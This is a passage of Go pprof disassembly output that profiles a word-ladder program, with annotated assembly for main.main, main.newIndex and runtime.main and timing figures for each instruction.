. . 10cd8ba: MOVQ 0x1d0(SP), DX
. . 10cd8c2: MOVQ DX, 0(SP)
. . 10cd8c6: MOVQ AX, 0x8(SP)
. . 10cd8cb: MOVQ CX, 0x10(SP)
. . 10cd8d0: CALL main.(*Graph).Find(SB)
. . 10cd8d5: MOVQ main.dest(SB), AX ;main.go:62
. . 10cd8dc: MOVQ 0x18(SP), CX ;main.go:61
. . 10cd8e1: MOVQ CX, 0x58(SP)
. . 10cd8e6: MOVQ 0x8(AX), DX ;main.go:62
. . 10cd8ea: MOVQ 0(AX), AX
. . 10cd8ed: MOVQ 0x1d0(SP), BX
. . 10cd8f5: MOVQ BX, 0(SP)
. . 10cd8f9: MOVQ AX, 0x8(SP)
. . 10cd8fe: MOVQ DX, 0x10(SP)
. . 10cd903: CALL main.(*Graph).Find(SB)
. . 10cd908: MOVQ 0x18(SP), AX
. . 10cd90d: MOVQ 0x58(SP), CX ;main.go:64
. . 10cd912: TESTQ CX, CX
. . 10cd915: JL 0x10cdbe6
. . 10cd91b: TESTQ AX, AX
. . 10cd91e: JL 0x10cdbe3
. . 10cd924: XORPS X0, X0 ;main.go:74
. . 10cd927: MOVUPS X0, 0x220(SP)
. . 10cd92f: LEAQ type.*+88544(SB), AX
. . 10cd936: MOVQ AX, 0x220(SP)
. . 10cd93e: LEAQ internal/bytealg.IndexString.args_stackmap+656(SB), CX
. . 10cd945: MOVQ CX, 0x228(SP)
. . 10cd94d: MOVQ os.Stdout(SB), CX ;print.go:274
. . 10cd954: LEAQ go.itab.*os.File,io.Writer(SB), DX
. . 10cd95b: MOVQ DX, 0(SP)
. . 10cd95f: MOVQ CX, 0x8(SP)
. . 10cd964: LEAQ 0x220(SP), CX
. . 10cd96c: MOVQ CX, 0x10(SP)
. . 10cd971: MOVQ $0x1, 0x18(SP)
. . 10cd97a: MOVQ $0x1, 0x20(SP)
. . 10cd983: CALL fmt.Fprintln(SB)
. . 10cd988: MOVQ 0x1d0(SP), AX ;main.go:75
. . 10cd990: MOVQ AX, 0(SP)
. . 10cd994: MOVQ 0x58(SP), CX
. . 10cd999: MOVQ CX, 0x8(SP)
. . 10cd99e: CALL main.(*Graph).AllPaths(SB)
. . 10cd9a3: MOVQ main.dest(SB), AX ;main.go:76
. . 10cd9aa: MOVQ 0x10(SP), CX ;main.go:75
. . 10cd9af: MOVQ 0x8(AX), DX ;main.go:76
. . 10cd9b3: MOVQ 0(AX), AX
. . 10cd9b6: MOVQ CX, 0(SP)
. . 10cd9ba: MOVQ AX, 0x8(SP)
. . 10cd9bf: MOVQ DX, 0x10(SP)
. . 10cd9c4: CALL main.(*Paths).To(SB)
. . 10cd9c9: MOVQ 0x18(SP), AX
. . 10cd9ce: MOVQ AX, 0x1c8(SP)
. . 10cd9d6: MOVQ 0x20(SP), CX
. . 10cd9db: MOVQ CX, 0x60(SP)
. . 10cd9e0: TESTQ CX, CX ;main.go:77
. . 10cd9e3: JE 0x10cdaf5
. . 10cd9e9: MOVQ 0x1d0(SP), DX ;main.go:80
. . 10cd9f1: XORL BX, BX
. . 10cd9f3: JMP 0x10cdad3
. . 10cd9f8: MOVQ BX, 0x78(SP)
. . 10cd9fd: LEAQ 0(SI)(SI*2), AX ;main.go:81
. . 10cda01: MOVQ 0x10(R8)(AX*8), CX
. . 10cda06: MOVQ 0(R8)(AX*8), DX
. . 10cda0a: MOVQ 0x8(R8)(AX*8), AX
. . 10cda0f: MOVQ $0x0, 0(SP)
. . 10cda17: MOVQ DX, 0x8(SP)
. . 10cda1c: MOVQ AX, 0x10(SP)
. . 10cda21: MOVQ CX, 0x18(SP)
. . 10cda26: CALL runtime.slicebytetostring(SB)
. . 10cda2b: MOVQ 0x28(SP), AX
. . 10cda30: MOVQ 0x20(SP), CX
. . 10cda35: MOVQ CX, 0(SP)
. . 10cda39: MOVQ AX, 0x8(SP)
. . 10cda3e: CALL runtime.convTstring(SB)
. . 10cda43: MOVQ 0x10(SP), AX
. . 10cda48: XORPS X0, X0
. . 10cda4b: MOVUPS X0, 0x210(SP)
. . 10cda53: LEAQ type.*+88544(SB), CX
. . 10cda5a: MOVQ CX, 0x210(SP)
. . 10cda62: MOVQ AX, 0x218(SP)
. . 10cda6a: MOVQ os.Stdout(SB), AX ;print.go:274
. . 10cda71: LEAQ go.itab.*os.File,io.Writer(SB), DX
. . 10cda78: MOVQ DX, 0(SP)
. . 10cda7c: MOVQ AX, 0x8(SP)
. . 10cda81: LEAQ 0x210(SP), AX
. . 10cda89: MOVQ AX, 0x10(SP)
. . 10cda8e: MOVQ $0x1, 0x18(SP)
. . 10cda97: MOVQ $0x1, 0x20(SP)
. . 10cdaa0: CALL fmt.Fprintln(SB)
. . 10cdaa5: MOVQ 0x78(SP), AX ;main.go:80
. . 10cdaaa: LEAQ 0x1(AX), BX
. . 10cdaae: MOVQ 0x60(SP), AX
. . 10cdab3: MOVQ 0x1d0(SP), CX
. . 10cdabb: MOVQ 0x1c8(SP), DX
. . 10cdac3: MOVQ DX, AX
. . 10cdac6: MOVQ 0x60(SP), CX
. . 10cdacb: MOVQ 0x1d0(SP), DX ;main.go:81
. . 10cdad3: CMPQ CX, BX ;main.go:80
. . 10cdad6: JGE 0x10cd5e2
. . 10cdadc: MOVQ 0(AX)(BX*8), SI
. . 10cdae0: MOVQ 0x8(DX), DI ;main.go:81
. . 10cdae4: MOVQ 0(DX), R8
. . 10cdae7: CMPQ DI, SI
. . 10cdaea: JB 0x10cd9f8
. . 10cdaf0: JMP 0x10ce029
. . 10cdaf5: MOVQ main.src(SB), AX ;main.go:78
. . 10cdafc: MOVQ 0x8(AX), CX
. . 10cdb00: MOVQ 0(AX), AX
. . 10cdb03: MOVQ AX, 0(SP)
. . 10cdb07: MOVQ CX, 0x8(SP)
. . 10cdb0c: CALL runtime.convTstring(SB)
. . 10cdb11: MOVQ main.dest(SB), AX
. . 10cdb18: MOVQ 0x10(SP), CX
. . 10cdb1d: MOVQ CX, 0x1f8(SP)
. . 10cdb25: MOVQ 0x8(AX), DX
. . 10cdb29: MOVQ 0(AX), AX
. . 10cdb2c: MOVQ AX, 0(SP)
. . 10cdb30: MOVQ DX, 0x8(SP)
. . 10cdb35: CALL runtime.convTstring(SB)
. . 10cdb3a: MOVQ 0x10(SP), AX
. . 10cdb3f: XORPS X0, X0
. . 10cdb42: MOVUPS X0, 0x280(SP)
. . 10cdb4a: MOVUPS X0, 0x290(SP)
. . 10cdb52: LEAQ type.*+88544(SB), CX
. . 10cdb59: MOVQ CX, 0x280(SP)
. . 10cdb61: MOVQ 0x1f8(SP), DX
. . 10cdb69: MOVQ DX, 0x288(SP)
. . 10cdb71: MOVQ CX, 0x290(SP)
. . 10cdb79: MOVQ AX, 0x298(SP)
. . 10cdb81: MOVQ os.Stdout(SB), AX ;print.go:213
. . 10cdb88: LEAQ go.itab.*os.File,io.Writer(SB), DX
. . 10cdb8f: MOVQ DX, 0(SP)
. . 10cdb93: MOVQ AX, 0x8(SP)
. . 10cdb98: LEAQ go.string.*+20035(SB), AX
. . 10cdb9f: MOVQ AX, 0x10(SP)
. . 10cdba4: MOVQ $0x1f, 0x18(SP)
. . 10cdbad: LEAQ 0x280(SP), AX
. . 10cdbb5: MOVQ AX, 0x20(SP)
. . 10cdbba: MOVQ $0x2, 0x28(SP)
. . 10cdbc3: MOVQ $0x2, 0x30(SP)
. . 10cdbcc: CALL fmt.Fprintf(SB)
. . 10cdbd1: MOVQ 0x1c8(SP), AX ;main.go:80
. . 10cdbd9: MOVQ 0x60(SP), CX
. . 10cdbde: JMP 0x10cd9e9
. . 10cdbe3: TESTQ CX, CX ;main.go:64
. . 10cdbe6: JL 0x10cdc9f ;main.go:65
. . 10cdbec: TESTQ AX, AX ;main.go:68
. . 10cdbef: JL 0x10cdc07
. . 10cdbf1: NOPL ;main.go:71
. . 10cdbf2: CALL runtime.deferreturn(SB)
. . 10cdbf7: MOVQ 0x2e0(SP), BP
. . 10cdbff: ADDQ $0x2e8, SP
. . 10cdc06: RET
. . 10cdc07: MOVQ main.dest(SB), AX ;main.go:69
. . 10cdc0e: MOVQ 0(AX), CX
. . 10cdc11: MOVQ 0x8(AX), AX
. . 10cdc15: MOVQ CX, 0(SP)
. . 10cdc19: MOVQ AX, 0x8(SP)
. . 10cdc1e: CALL runtime.convTstring(SB)
. . 10cdc23: MOVQ 0x10(SP), AX
. . 10cdc28: XORPS X0, X0
. . 10cdc2b: MOVUPS X0, 0x230(SP)
. . 10cdc33: LEAQ type.*+88544(SB), CX
. . 10cdc3a: MOVQ CX, 0x230(SP)
. . 10cdc42: MOVQ AX, 0x238(SP)
. . 10cdc4a: MOVQ os.Stdout(SB), AX ;print.go:213
. . 10cdc51: LEAQ go.itab.*os.File,io.Writer(SB), CX
. . 10cdc58: MOVQ CX, 0(SP)
. . 10cdc5c: MOVQ AX, 0x8(SP)
. . 10cdc61: LEAQ go.string.*+7915(SB), AX
. . 10cdc68: MOVQ AX, 0x10(SP)
. . 10cdc6d: MOVQ $0x11, 0x18(SP)
. . 10cdc76: LEAQ 0x230(SP), AX
. . 10cdc7e: MOVQ AX, 0x20(SP)
. . 10cdc83: MOVQ $0x1, 0x28(SP)
. . 10cdc8c: MOVQ $0x1, 0x30(SP)
. . 10cdc95: CALL fmt.Fprintf(SB)
. . 10cdc9a: JMP 0x10cdbf1 ;main.go:71
. . 10cdc9f: MOVQ AX, 0x50(SP) ;main.go:62
. . 10cdca4: MOVQ main.src(SB), AX ;main.go:66
. . 10cdcab: MOVQ 0x8(AX), CX
. . 10cdcaf: MOVQ 0(AX), AX
. . 10cdcb2: MOVQ AX, 0(SP)
. . 10cdcb6: MOVQ CX, 0x8(SP)
. . 10cdcbb: CALL runtime.convTstring(SB)
. . 10cdcc0: MOVQ 0x10(SP), AX
. . 10cdcc5: XORPS X0, X0
. . 10cdcc8: MOVUPS X0, 0x240(SP)
. . 10cdcd0: LEAQ type.*+88544(SB), CX
. . 10cdcd7: MOVQ CX, 0x240(SP)
. . 10cdcdf: MOVQ AX, 0x248(SP)
. . 10cdce7: MOVQ os.Stdout(SB), AX ;print.go:213
. . 10cdcee: LEAQ go.itab.*os.File,io.Writer(SB), DX
. . 10cdcf5: MOVQ DX, 0(SP)
. . 10cdcf9: MOVQ AX, 0x8(SP)
. . 10cdcfe: LEAQ go.string.*+7915(SB), AX
. . 10cdd05: MOVQ AX, 0x10(SP)
. . 10cdd0a: MOVQ $0x11, 0x18(SP)
. . 10cdd13: LEAQ 0x240(SP), BX
. . 10cdd1b: MOVQ BX, 0x20(SP)
. . 10cdd20: MOVQ $0x1, 0x28(SP)
. . 10cdd29: MOVQ $0x1, 0x30(SP)
. . 10cdd32: CALL fmt.Fprintf(SB)
. . 10cdd37: MOVQ 0x50(SP), AX ;main.go:68
. . 10cdd3c: JMP 0x10cdbec
. . 10cdd41: MOVQ main.dict(SB), AX ;main.go:56
. . 10cdd48: MOVQ 0x8(AX), CX
. . 10cdd4c: MOVQ 0(AX), AX
. . 10cdd4f: MOVQ AX, 0(SP)
. . 10cdd53: MOVQ CX, 0x8(SP)
. . 10cdd58: CALL main.dictionaryStats(SB)
. . 10cdd5d: JMP 0x10cd5ad
. . 10cdd62: MOVQ AX, 0(SP) ;main.go:48
. . 10cdd66: MOVQ CX, 0x8(SP)
. . 10cdd6b: CALL main.createPathIfNotExists(SB)
. . 10cdd70: JMP 0x10cd40e
. . 10cdd75: NOPL ;main.go:38
. . 10cdd76: MOVQ CX, 0(SP) ;file.go:289
. . 10cdd7a: MOVQ AX, 0x8(SP)
. . 10cdd7f: MOVQ $0x602, 0x10(SP)
. . 10cdd88: MOVL $0x1b6, 0x18(SP)
. . 10cdd90: CALL os.OpenFile(SB)
. . 10cdd95: MOVQ 0x20(SP), AX
. . 10cdd9a: MOVQ AX, 0x1d8(SP)
. . 10cdda2: MOVQ 0x30(SP), CX
. . 10cdda7: MOVQ 0x28(SP), DX
. . 10cddac: TESTQ DX, DX ;main.go:39
. . 10cddaf: JE 0x10cde1b
. . 10cddb1: JE 0x10cddb7 ;main.go:40
. . 10cddb3: MOVQ 0x8(DX), DX
. . 10cddb7: XORPS X0, X0
. . 10cddba: MOVUPS X0, 0x260(SP)
. . 10cddc2: MOVUPS X0, 0x270(SP)
. . 10cddca: LEAQ type.*+88544(SB), AX
. . 10cddd1: MOVQ AX, 0x260(SP)
. . 10cddd9: LEAQ internal/bytealg.IndexString.args_stackmap+624(SB), BX
. . 10cdde0: MOVQ BX, 0x268(SP)
. . 10cdde8: MOVQ DX, 0x270(SP)
. . 10cddf0: MOVQ CX, 0x278(SP)
. . 10cddf8: LEAQ 0x260(SP), CX
. . 10cde00: MOVQ CX, 0(SP)
. . 10cde04: MOVQ $0x2, 0x8(SP)
. . 10cde0d: MOVQ $0x2, 0x10(SP)
. . 10cde16: CALL log.Fatal(SB)
. . 10cde1b: MOVL $0x18, 0x138(SP) ;main.go:42
. . 10cde26: LEAQ go.func.*+294(SB), AX
. . 10cde2d: MOVQ AX, 0x150(SP)
. . 10cde35: MOVQ 0x1d8(SP), CX
. . 10cde3d: MOVQ CX, 0x168(SP)
. . 10cde45: LEAQ 0x138(SP), DX
. . 10cde4d: MOVQ DX, 0(SP)
. . 10cde51: CALL runtime.deferprocStack(SB)
. . 10cde56: TESTL AX, AX
. . 10cde58: JNE 0x10cdec1
. . 10cde5a: LEAQ go.itab.*os.File,io.Writer(SB), AX ;main.go:43
. . 10cde61: MOVQ AX, 0(SP)
. . 10cde65: MOVQ 0x1d8(SP), CX
. . 10cde6d: MOVQ CX, 0x8(SP)
. . 10cde72: CALL runtime/trace.Start(SB)
. . 10cde77: MOVL $0x0, 0x80(SP) ;main.go:44
. . 10cde82: LEAQ go.func.*+1598(SB), AX
. . 10cde89: MOVQ AX, 0x98(SP)
. . 10cde91: LEAQ 0x80(SP), AX
. . 10cde99: MOVQ AX, 0(SP)
. . 10cde9d: CALL runtime.deferprocStack(SB)
. . 10cdea2: TESTL AX, AX
. . 10cdea4: JNE 0x10cdeab
. . 10cdea6: JMP 0x10cd3f7
. . 10cdeab: NOPL
. . 10cdeac: CALL runtime.deferreturn(SB)
. . 10cdeb1: MOVQ 0x2e0(SP), BP
. . 10cdeb9: ADDQ $0x2e8, SP
. . 10cdec0: RET
. . 10cdec1: NOPL ;main.go:42
. . 10cdec2: CALL runtime.deferreturn(SB)
. . 10cdec7: MOVQ 0x2e0(SP), BP
. . 10cdecf: ADDQ $0x2e8, SP
. . 10cded6: RET
. . 10cded7: NOPL ;main.go:28
. . 10cded8: MOVQ CX, 0(SP) ;file.go:289
. . 10cdedc: MOVQ AX, 0x8(SP)
. . 10cdee1: MOVQ $0x602, 0x10(SP)
. . 10cdeea: MOVL $0x1b6, 0x18(SP)
. . 10cdef2: CALL os.OpenFile(SB)
. . 10cdef7: MOVQ 0x20(SP), AX
. . 10cdefc: MOVQ AX, 0x1e0(SP)
. . 10cdf04: MOVQ 0x28(SP), CX
. . 10cdf09: MOVQ CX, 0x68(SP)
. . 10cdf0e: MOVQ 0x30(SP), DX
. . 10cdf13: MOVQ DX, 0x1e8(SP)
. . 10cdf1b: MOVL $0x18, 0x180(SP) ;main.go:29
. . 10cdf26: LEAQ go.func.*+294(SB), BX
. . 10cdf2d: MOVQ BX, 0x198(SP)
. . 10cdf35: MOVQ AX, 0x1b0(SP)
. . 10cdf3d: LEAQ 0x180(SP), SI
. . 10cdf45: MOVQ SI, 0(SP)
. . 10cdf49: CALL runtime.deferprocStack(SB)
. . 10cdf4e: TESTL AX, AX
. . 10cdf50: JNE 0x10ce013
. . 10cdf56: MOVQ 0x68(SP), AX ;main.go:30
. . 10cdf5b: TESTQ AX, AX
. . 10cdf5e: JE 0x10cdfac
. . 10cdf60: JE 0x10cdf66 ;main.go:31
. . 10cdf62: MOVQ 0x8(AX), AX
. . 10cdf66: XORPS X0, X0
. . 10cdf69: MOVUPS X0, 0x200(SP)
. . 10cdf71: MOVQ AX, 0x200(SP)
. . 10cdf79: MOVQ 0x1e8(SP), AX
. . 10cdf81: MOVQ AX, 0x208(SP)
. . 10cdf89: LEAQ 0x200(SP), AX
. . 10cdf91: MOVQ AX, 0(SP)
. . 10cdf95: MOVQ $0x1, 0x8(SP)
. . 10cdf9e: MOVQ $0x1, 0x10(SP)
. . 10cdfa7: CALL log.Fatal(SB)
. . 10cdfac: LEAQ go.itab.*os.File,io.Writer(SB), AX ;main.go:33
. . 10cdfb3: MOVQ AX, 0(SP)
. . 10cdfb7: MOVQ 0x1e0(SP), CX
. . 10cdfbf: MOVQ CX, 0x8(SP)
. . 10cdfc4: CALL runtime/pprof.StartCPUProfile(SB)
. . 10cdfc9: MOVL $0x0, 0xb8(SP) ;main.go:34
. . 10cdfd4: LEAQ go.func.*+1566(SB), AX
. . 10cdfdb: MOVQ AX, 0xd0(SP)
. . 10cdfe3: LEAQ 0xb8(SP), AX
. . 10cdfeb: MOVQ AX, 0(SP)
. . 10cdfef: CALL runtime.deferprocStack(SB)
. . 10cdff4: TESTL AX, AX
. . 10cdff6: JNE 0x10cdffd
. . 10cdff8: JMP 0x10cd3e0
. . 10cdffd: NOPL
. . 10cdffe: CALL runtime.deferreturn(SB)
. . 10ce003: MOVQ 0x2e0(SP), BP
. . 10ce00b: ADDQ $0x2e8, SP
. . 10ce012: RET
. . 10ce013: NOPL ;main.go:29
. . 10ce014: CALL runtime.deferreturn(SB)
. . 10ce019: MOVQ 0x2e0(SP), BP
. . 10ce021: ADDQ $0x2e8, SP
. . 10ce028: RET
. . 10ce029: MOVQ SI, AX ;main.go:81
. . 10ce02c: MOVQ DI, CX
. . 10ce02f: CALL runtime.panicIndex(SB)
. . 10ce034: MOVL $0x1, AX ;flag.go:996
. . 10ce039: CALL runtime.panicSliceB(SB)
. . 10ce03e: NOPL
. . 10ce03f: CALL runtime.morestack_noctxt(SB) ;main.go:24
. . 10ce044: JMP main.main(SB)
. . 10ce049: INT $0x3
. . 10ce04a: INT $0x3
. . 10ce04b: INT $0x3
. . 10ce04c: INT $0x3
. . 10ce04d: INT $0x3
. . 10ce04e: INT $0x3
ROUTINE ======================== main.newIndex
100ms 120ms (flat, cum) 2.00% of Total
. . 10cbe00: MOVQ GS:0x30, CX ;index.go:18
. . 10cbe09: CMPQ 0x10(CX), SP
. . 10cbe0d: JBE 0x10cc00e
. . 10cbe13: SUBQ $0x48, SP
. . 10cbe17: MOVQ BP, 0x40(SP)
. . 10cbe1c: LEAQ 0x40(SP), BP
. . 10cbe21: LEAQ type.*+77216(SB), AX ;index.go:19
. . 10cbe28: MOVQ AX, 0(SP)
. . 10cbe2c: MOVQ 0x50(SP), AX
. . 10cbe31: MOVQ AX, 0x8(SP)
. . 10cbe36: MOVQ AX, 0x10(SP)
. 20ms 10cbe3b: CALL runtime.makeslice(SB) ;main.newIndex index.go:19
. . 10cbe40: MOVQ 0x18(SP), AX ;index.go:19
. . 10cbe45: MOVQ AX, 0x38(SP)
. . 10cbe4a: XORL CX, CX
. . 10cbe4c: JMP 0x10cbe55 ;index.go:20
. . 10cbe4e: LEAQ 0x1(AX), CX
. . 10cbe52: MOVQ BX, AX ;index.go:21
. . 10cbe55: MOVQ 0x50(SP), DX ;index.go:20
. . 10cbe5a: CMPQ DX, CX
. . 10cbe5d: JGE 0x10cbec4
. . 10cbe5f: MOVQ CX, 0x20(SP)
. . 10cbe64: LEAQ type.*+85856(SB), AX ;index.go:21
. . 10cbe6b: MOVQ AX, 0(SP)
. . 10cbe6f: XORPS X0, X0
. . 10cbe72: MOVUPS X0, 0x8(SP)
. . 10cbe77: CALL runtime.makeslice(SB)
. . 10cbe7c: MOVQ 0x20(SP), AX
. . 10cbe81: LEAQ 0(AX)(AX*2), CX
. . 10cbe85: MOVQ 0x18(SP), DX
. . 10cbe8a: MOVQ 0x38(SP), BX
60ms 60ms 10cbe8f: MOVQ $0x0, 0x8(BX)(CX*8) ;main.newIndex index.go:21
40ms 40ms 10cbe98: MOVQ $0x0, 0x10(BX)(CX*8)
. . 10cbea1: LEAQ 0(BX)(CX*8), DI ;index.go:21
. . 10cbea5: CMPL $0x0, runtime.writeBarrier(SB)
. . 10cbeac: JNE 0x10cbeb4
. . 10cbeae: MOVQ DX, 0(BX)(CX*8)
. . 10cbeb2: JMP 0x10cbe4e
. . 10cbeb4: MOVQ AX, CX ;index.go:20
. . 10cbeb7: MOVQ DX, AX ;index.go:21
. . 10cbeba: CALL runtime.gcWriteBarrier(SB)
. . 10cbebf: MOVQ CX, AX ;index.go:20
. . 10cbec2: JMP 0x10cbe4e ;index.go:21
. . 10cbec4: NOPL ;murmur64.go:18
. . 10cbec5: MOVL $0x0, 0(SP) ;murmur64.go:22
. . 10cbecc: CALL erichgess/wordladder/vendor/github.com/spaolacci/murmur3.New128WithSeed(SB)
. . 10cbed1: MOVQ 0x10(SP), AX
. . 10cbed6: MOVQ 0x8(SP), CX
. . 10cbedb: LEAQ go.itab.*erichgess/wordladder/vendor/github.com/spaolacci/murmur3.digest128,erichgess/wordladder/vendor/github.com/spaolacci/murmur3.Hash128(SB), DX
. . 10cbee2: CMPQ DX, CX
. . 10cbee5: JNE 0x10cbfec
. . 10cbeeb: MOVQ AX, 0x28(SP)
. . 10cbef0: LEAQ type.*+88864(SB), AX ;index.go:25
. . 10cbef7: MOVQ AX, 0(SP)
. . 10cbefb: MOVQ $0x0, 0x8(SP)
. . 10cbf04: MOVQ 0x58(SP), AX
. . 10cbf09: MOVQ AX, 0x10(SP)
. . 10cbf0e: CALL runtime.makeslice(SB)
. . 10cbf13: MOVQ 0x18(SP), AX
. . 10cbf18: MOVQ AX, 0x30(SP)
. . 10cbf1d: LEAQ type.*+195616(SB), CX ;index.go:27
. . 10cbf24: MOVQ CX, 0(SP)
. . 10cbf28: CALL runtime.newobject(SB)
. . 10cbf2d: MOVQ 0x8(SP), AX
;index.go:24
. . 10cbf32: LEAQ go.itab.*erichgess/wordladder/vendor/github.com/spaolacci/murmur3.digest64,hash.Hash64(SB), CX
. . 10cbf39: MOVQ CX, 0(AX)
. . 10cbf3c: CMPL $0x0, runtime.writeBarrier(SB)
. . 10cbf43: JNE 0x10cbfd3
. . 10cbf49: MOVQ 0x28(SP), CX
. . 10cbf4e: MOVQ CX, 0x8(AX)
. . 10cbf52: MOVQ $0x0, 0x30(AX) ;index.go:25
. . 10cbf5a: MOVQ 0x58(SP), CX
. . 10cbf5f: MOVQ CX, 0x38(AX)
. . 10cbf63: CMPL $0x0, runtime.writeBarrier(SB)
. . 10cbf6a: JNE 0x10cbfbd
. . 10cbf6c: MOVQ 0x30(SP), CX
. . 10cbf71: MOVQ CX, 0x28(AX)
. . 10cbf75: MOVQ 0x50(SP), CX ;index.go:26
. . 10cbf7a: MOVQ CX, 0x18(AX)
. . 10cbf7e: MOVQ CX, 0x20(AX)
. . 10cbf82: CMPL $0x0, runtime.writeBarrier(SB)
. . 10cbf89: JNE 0x10cbfa7
. . 10cbf8b: MOVQ 0x38(SP), DX
. . 10cbf90: MOVQ DX, 0x10(AX)
. . 10cbf94: MOVQ CX, 0x40(AX) ;index.go:27
. . 10cbf98: MOVQ AX, 0x60(SP) ;index.go:23
. . 10cbf9d: MOVQ 0x40(SP), BP
. . 10cbfa2: ADDQ $0x48, SP
. . 10cbfa6: RET
. . 10cbfa7: LEAQ 0x10(AX), DI ;index.go:26
. . 10cbfab: MOVQ AX, DX ;index.go:27
. . 10cbfae: MOVQ 0x38(SP), AX ;index.go:26
. . 10cbfb3: CALL runtime.gcWriteBarrier(SB)
. . 10cbfb8: MOVQ DX, AX ;index.go:27
. . 10cbfbb: JMP 0x10cbf94 ;index.go:26
. . 10cbfbd: LEAQ 0x28(AX), DI ;index.go:25
. . 10cbfc1: MOVQ AX, CX ;index.go:27
. . 10cbfc4: MOVQ 0x30(SP), AX ;index.go:25
. . 10cbfc9: CALL runtime.gcWriteBarrier(SB)
. . 10cbfce: MOVQ CX, AX ;index.go:26
. . 10cbfd1: JMP 0x10cbf75 ;index.go:25
. . 10cbfd3: LEAQ 0x8(AX), DI ;index.go:24
. . 10cbfd7: MOVQ AX, CX ;index.go:27
. . 10cbfda: MOVQ 0x28(SP), AX ;index.go:24
. . 10cbfdf: CALL runtime.gcWriteBarrier(SB)
. . 10cbfe4: MOVQ CX, AX ;index.go:25
. . 10cbfe7: JMP 0x10cbf52 ;index.go:24
. . 10cbfec: MOVQ CX, 0(SP) ;murmur64.go:22
. . 10cbff0: LEAQ type.*+200512(SB), AX
. . 10cbff7: MOVQ AX, 0x8(SP)
. . 10cbffc: LEAQ type.*+156288(SB), AX
. . 10cc003: MOVQ AX, 0x10(SP)
. . 10cc008: CALL runtime.panicdottypeI(SB)
. . 10cc00d: NOPL
. . 10cc00e: CALL runtime.morestack_noctxt(SB) ;index.go:18
. . 10cc013: JMP main.newIndex(SB)
. . 10cc018: INT $0x3
. . 10cc019: INT $0x3
. . 10cc01a: INT $0x3
. . 10cc01b: INT $0x3
. . 10cc01c: INT $0x3
. . 10cc01d: INT $0x3
. . 10cc01e: INT $0x3
ROUTINE ======================== runtime.main
0 2.70s (flat, cum) 44.93% of Total
. . 102caf0: MOVQ GS:0x30, CX ;proc.go:113
. . 102caf9: CMPQ 0x10(CX), SP
. . 102cafd: JBE 0x102ce70
. . 102cb03: SUBQ $0x78, SP
. . 102cb07: MOVQ BP, 0x70(SP)
. . 102cb0c: LEAQ 0x70(SP), BP
. . 102cb11: MOVQ GS:0x30, AX ;proc.go:114
. . 102cb1a: MOVQ AX, 0x68(SP)
. . 102cb1f: MOVQ 0x30(AX), CX ;proc.go:118
. . 102cb23: MOVQ 0(CX), CX
. . 102cb26: MOVQ $0x0, 0x130(CX)
;proc.go:124
. . 102cb31: MOVQ $0x3b9aca00, runtime.maxstacksize(SB)
. . 102cb3c: MOVB $0x1, runtime.mainStarted(SB) ;proc.go:130
. . 102cb43: LEAQ go.func.*+950(SB), CX ;proc.go:133
. . 102cb4a: MOVQ CX, 0(SP)
. . 102cb4e: CALL runtime.systemstack(SB)
. . 102cb53: MOVQ GS:0x30, AX ;proc.go:3550
. . 102cb5c: MOVQ 0x30(AX), AX
. . 102cb60: NOPL ;proc.go:144
. . 102cb61: INCL 0x274(AX) ;proc.go:3550
. . 102cb67: MOVQ GS:0x30, AX ;proc.go:3511
. . 102cb70: MOVQ 0x30(AX), CX ;proc.go:3512
. . 102cb74: NOPL ;proc.go:3551
. . 102cb75: MOVQ AX, DX ;runtime2.go:254
. . 102cb78: MOVQ AX, 0x168(CX)
. . 102cb7f: MOVQ 0x30(DX), AX ;proc.go:3513
. . 102cb83: MOVQ AX, 0xd8(DX) ;runtime2.go:292
. . 102cb8a: MOVQ 0x68(SP), AX ;proc.go:146
. . 102cb8f: MOVQ 0x30(AX), AX
. . 102cb93: LEAQ runtime.m0(SB), CX
. . 102cb9a: CMPQ CX, AX
. . 102cb9d: JNE 0x102ce56
. . 102cba3: LEAQ runtime..inittask(SB), AX ;proc.go:150
. . 102cbaa: MOVQ AX, 0(SP)
. . 102cbae: CALL runtime.doInit(SB)
. . 102cbb3: CALL runtime.nanotime(SB) ;proc.go:151
. . 102cbb8: CMPQ $0x0, 0(SP)
. . 102cbbd: JE 0x102ce3d
. . 102cbc3: MOVB $0x1, 0x27(SP) ;proc.go:156
. . 102cbc8: MOVL $0x8, 0x30(SP) ;proc.go:157
. . 102cbd0: LEAQ go.func.*+958(SB), AX
. . 102cbd7: MOVQ AX, 0x48(SP)
. . 102cbdc: LEAQ 0x27(SP), AX
. . 102cbe1: MOVQ AX, 0x60(SP)
. . 102cbe6: LEAQ 0x30(SP), AX
. . 102cbeb: MOVQ AX, 0(SP)
. . 102cbef: CALL runtime.deferprocStack(SB)
. . 102cbf4: TESTL AX, AX
. . 102cbf6: JNE 0x102cdc9
. . 102cbfc: CALL runtime.nanotime(SB) ;proc.go:164
. . 102cc01: MOVQ 0(SP), AX
. . 102cc05: MOVQ AX, runtime.runtimeInitTime(SB)
. . 102cc0c: CALL runtime.gcenable(SB) ;proc.go:166
. . 102cc11: LEAQ type.*+83104(SB), AX ;proc.go:168
. . 102cc18: MOVQ AX, 0(SP)
. . 102cc1c: MOVQ $0x0, 0x8(SP)
. . 102cc25: CALL runtime.makechan(SB)
. . 102cc2a: MOVQ 0x10(SP), AX
. . 102cc2f: CMPL $0x0, runtime.writeBarrier(SB)
. . 102cc36: JNE 0x102cdb8
. . 102cc3c: MOVQ AX, runtime.main_init_done(SB)
. . 102cc43: CMPB $0x0, runtime.iscgo(SB) ;proc.go:169
. . 102cc4a: JE 0x102ccba
. . 102cc4c: CMPQ $0x0, __cgo_thread_start(SB) ;proc.go:170
. . 102cc54: JE 0x102ce24
. . 102cc5a: CMPQ $0x0, runtime._cgo_setenv(SB) ;proc.go:174
. . 102cc62: JE 0x102ce0b
. . 102cc68: CMPQ $0x0, runtime._cgo_unsetenv(SB) ;proc.go:177
. . 102cc70: JE 0x102cdf2
;proc.go:181
. . 102cc76: CMPQ $0x0, __cgo_notify_runtime_init_done(SB)
. . 102cc7e: JE 0x102cdd9
. . 102cc84: XORL AX, AX ;proc.go:1865
. . 102cc86: LEAQ runtime.newmHandoff+32(SB), CX
. . 102cc8d: MOVL $0x1, DX
. . 102cc92: LOCK CMPXCHGL DX, 0(CX)
. . 102cc96: SETE CL
. . 102cc99: TESTL CL, CL
. . 102cc9b: JNE 0x102cd9a
;proc.go:187
. . 102cca1: MOVQ __cgo_notify_runtime_init_done(SB), AX
. . 102cca8: MOVQ AX, 0(SP)
. . 102ccac: MOVQ $0x0, 0x8(SP)
. . 102ccb5: CALL runtime.cgocall(SB)
. . 102ccba: LEAQ main..inittask(SB), AX ;proc.go:190
